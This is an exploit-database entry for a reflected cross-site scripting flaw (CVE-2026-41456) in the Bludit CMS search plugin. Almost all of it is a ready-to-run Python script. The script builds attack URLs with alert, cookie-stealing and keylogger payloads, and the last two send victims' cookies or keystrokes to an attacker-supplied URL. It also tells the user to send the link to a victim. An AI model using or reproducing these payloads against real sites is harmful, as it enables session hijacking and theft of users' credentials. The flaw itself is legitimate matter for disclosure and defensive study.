Bludit CMS 3.20.0 - Reflected Cross-Site Scripting

Indicators of Compromise

• exploit-code: # Exploit Title: Bludit CMS 3.20.0 - Reflected Cross-Site Scripting # Date: 2026-08-11 # Exploit Author: [Ranjit Kumar Singh] # Vendor Homepage: https://www.bludit.com/ # Software Link: https://github.com/bludit/bludit/archive/refs/tags/3.20.0.zip # Version: 3.0.0 through 3.20.0 (all versions before commit 6732dde) # Tested on: Ubuntu 20.04 / Apache 2.4 / PHP 7.4 / Windows 10 / PowerShell # CVE: CVE-2026-41456 """ CVE-2026-41456 - Bludit CMS Reflected XSS via Search Plugin Exploit Author: [Ranjit Kumar Singh] Vendor: https://www.bludit.com/ Software Link: https://github.com/bludit/bludit/archive/refs/tags/3.20.0.zip Vulnerable Versions: Bludit CMS 3.0.0 through 3.20.0 (before commit 6732dde) Tested on: Ubuntu / Windows / PHP 7.4 Description: The search plugin reflects the search term inside an HTML attribute (value="..."). To exploit, you must break out of the attribute using "> and then inject a tag. This script builds a correctly URL-encoded /search/ endpoint URL. Usage (Windows / Linux): # Use built-in payload types (recommended) python CVE-2026-41456.py -u http://target -t alert python CVE-2026-41456.py -u http://target -t steal -a http://attacker/log python CVE-2026-41456.py -u http://target -t keylog -a http://attacker/log # Use -j to provide only JavaScript code (script will add breakout and .gif) python CVE-2026-41456.py -u http://target -j "alert('XSS')" # Linux python CVE-2026-41456.py -u http://target -j 'alert("XSS")' # Windows (PowerShell) # For full control, use -p (must include "> breakout and .gif suffix) python CVE-2026-41456.py -u http://target -p "\"><img src=1 onerror=alert(1)>.gif" """ import argparse import urllib.parse import sys import webbrowser def build_payload(base_url, payload): """Build the full XSS URL with the payload placed in the /search/ path.""" if not base_url.endswith('/'): base_url += '/' encoded_payload = urllib.parse.quote(payload, safe='') full_url = f"{base_url}search/{encoded_payload}" return full_url def generate_alert_payload(): return '"><img src=1 onerror=alert("XSS")>.gif' def generate_steal_cookie_payload(attacker_url): return f'"><script>document.location="{attacker_url}?c="+encodeURIComponent(document.cookie)</script>.gif' def generate_keylogger_payload(attacker_url): payload = f""" "><script> var keys = ''; document.onkeypress = function(e) {{ keys += e.key; if (keys.length > 50) {{ new Image().src = '{attacker_url}?k=' + encodeURIComponent(keys); keys = ''; }} }}; </script>.gif """ return ''.join(payload.split()) def interactive_payload_builder(): print("[*] Interactive Payload Builder") print("1. Simple Alert (Proof of Concept)") print("2. Steal Cookies (requires attacker URL)") print("3. Keylogger (requires attacker URL)") print("4. Custom JavaScript (you write the code)") choice = input("Select payload type [1-4]: ").strip() if choice == "1": return generate_alert_payload() elif choice == "2": attacker_url = input("Enter attacker URL to receive cookies (e.g., http://attacker/log): ").strip() if not attacker_url: print("[-] Attacker URL required.") return None return generate_steal_cookie_payload(attacker_url) elif choice == "3": attacker_url = input("Enter attacker URL to receive keystrokes: ").strip() if not attacker_url: print("[-] Attacker URL required.") return None return generate_keylogger_payload(attacker_url) elif choice == "4": custom = input("Enter your JavaScript code (e.g., alert('XSS')): ").strip() if not custom: print("[-] Payload cannot be empty.") return None return f'"><script>{custom}</script>.gif' else: print("[-] Invalid choice.") return None def main(): parser = argparse.ArgumentParser( description="CVE-2026-41456 - Bludit CMS Reflected XSS via Search Plugin" ) parser.add_argument("-u", "--url", required=True, help="Target base URL (e.g., http://target) – script will append /search/") group = parser.add_mutually_exclusive_group(required=True) group.add_argument("-p", "--payload", help="Custom full payload (must include breakout syntax, e.g., \"><img src=1 onerror=alert(1)>.gif)") group.add_argument("-j", "--js", help="Raw JavaScript code (script will add '><script>...</script>.gif')") group.add_argument("-t", "--type", choices=["alert", "steal", "keylog"], help="Predefined payload type") group.add_argument("--interactive", action="store_true", help="Interactive payload builder") parser.add_argument("-a", "--attacker", help="Attacker URL for steal/keylog payloads (required with -t steal or keylog)") parser.add_argument("--open", action="store_true", help="Open the crafted URL in the default browser") args = parser.parse_args() base_url = args.url.rstrip('/') payload = None if args.payload: payload = args.payload elif args.js: payload = f'"><script>{args.js}</script>.gif' elif args.type: if args.type == "alert": payload = generate_alert_payload() elif args.type == "steal": if not args.attacker: print("[-] --attacker URL required for steal payload") sys.exit(1) payload = generate_steal_cookie_payload(args.attacker) elif args.type == "keylog": if not args.attacker: print("[-] --attacker URL required for keylog payload") sys.exit(1) payload = generate_keylogger_payload(args.attacker) elif args.interactive: payload = interactive_payload_builder() if payload is None: sys.exit(1) else: parser.print_help() sys.exit(1) # Debug: show raw payload before encoding print(f"[*] Raw payload: {payload}") exploit_url = build_payload(base_url, payload) print(f"[+] Exploit URL generated:") print(f"{exploit_url}") print("\n[+] Instructions:") print(" - Send this URL to a victim (or use --open to test locally).") print(" - The JavaScript will execute in the victim's browser.") if args.open: print("[*] Opening URL in default browser...") webbrowser.open(exploit_url) print("\n[+] URL for copy-paste:") print(exploit_url) if __name__ == "__main__": main()